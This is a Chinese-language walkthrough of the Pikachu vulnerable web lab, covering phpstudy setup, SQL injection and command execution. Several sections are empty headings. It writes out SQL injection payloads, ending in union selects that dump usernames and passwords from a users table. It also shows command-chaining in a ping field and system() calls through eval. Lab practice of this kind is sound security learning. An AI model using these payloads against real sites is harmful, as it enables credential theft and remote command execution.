〇、Pikachu环境配置
github项目地址:https://github.com/zhuifengshaonianhanlu/pikachu
无需赘述,不过提到一个关于phpstudy的小问题:‘

一般来说,SQL的端口都是默认为3306,因此总是phpstudy中打不开SQL服务,自然不能安装初始化靶场,我们可以在phpstudy中把端口改一下,比如3366之类的,如图

提醒一句:这里端口改过后需要重启SQL服务
一、爆破攻击
1、普通


4、绕过token






二、SQL注入
1、数字型注入

2、字母型注入

3、搜索型注入

4、XX注入
分析一手,大概率是字符型,另外尝试上一个的
1' or 1=1#
果不其然报错了:

我们多尝试一下,争取在不看源码时试出来,采用)闭合试试:
成功

我们继续借助这个xx注入的题目进行联合查询的练习:
1') order by 10#

之后发现字段数目为2
联合查询数据库 1‘) union select database (),2#

找到了一个叫做pikachu的数据库
继续看看这数据库包含的表
a') union select table_schema,table_name from information_schema.tables where table_schema='pikachu'#

注意到里面有一个user表,应该会记录账号密码
于是我们查一下user里的列名
a') union select table_name,column_name from information_schema.columns where table_name='users'#

我一看,passwd这是啥?这是密码~
a') union select username,password from users#

三、RCE
1、ping下
由于搭建在win下,我们采用两个&进行命令之间的分割
如果是在linux下,我们一般采用;和&单个进行分割。

如上图我们完成了同时ping两次,这说明们的命令分割起到了作用,换成恶意代码也一样可行。
2、eval
phpinfo(); # 注意分号不能省略,否则返回为空

成功
或者试试
system("ipconfig");
